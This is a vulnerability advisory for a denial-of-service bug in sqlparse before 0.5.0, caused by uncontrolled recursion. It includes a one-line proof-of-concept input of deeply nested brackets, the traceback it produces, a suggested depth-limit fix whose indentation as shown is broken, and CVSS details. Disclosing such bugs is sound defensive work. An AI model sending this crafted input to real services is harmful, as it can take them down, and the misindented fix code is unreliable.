sqlparse parsing heavily nested list leads to Denial of Service

Description

Summary

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC

Running the following code will raise Maximum recursion limit exceeded exception:

import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

We expect a traceback of RecursionError:

Traceback (most recent call last):
  File "trigger_sqlparse_nested_list.py", line 3, in <module>
    sqlparse.parse('[' * 10000 + ']' * 10000)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
    return tuple(parsestream(sql, encoding))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
    stmt = grouping.group(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
    func(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
    _group_matching(tlist, sql.SquareBrackets)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
    tlist.group_tokens(cls, open_idx, close_idx)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
    grp = grp_cls(subtokens)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
    super().__init__(None, str(self))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  [Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded

Fix suggestion

The flatten() function of TokenList class should limit the recursion to a maximal depth:

from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

    def flatten(self, depth=1):
        """Generator yielding ungrouped tokens.

        This method is recursively called for all child tokens.
        """
    if depth >= MAX_DEPTH:
        raise SQLParseError('Maximal depth reached')
        for token in self.tokens:
            if token.is_group:
                yield from token.flatten(depth + 1)
            else:
                yield token

Impact

Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2024-04-15 20:21:25 UTC
Updated
2024-05-01 11:09:13 UTC
GitHub reviewed
2024-04-15 20:21:25 UTC

EPSS Score

Score Percentile
15.95% 94.73%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-674 Uncontrolled Recursion

Credits

  • uriyay-jfrog (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip sqlparse < 0.5.0 0.5.0

References

cvelogic Threat Intelligence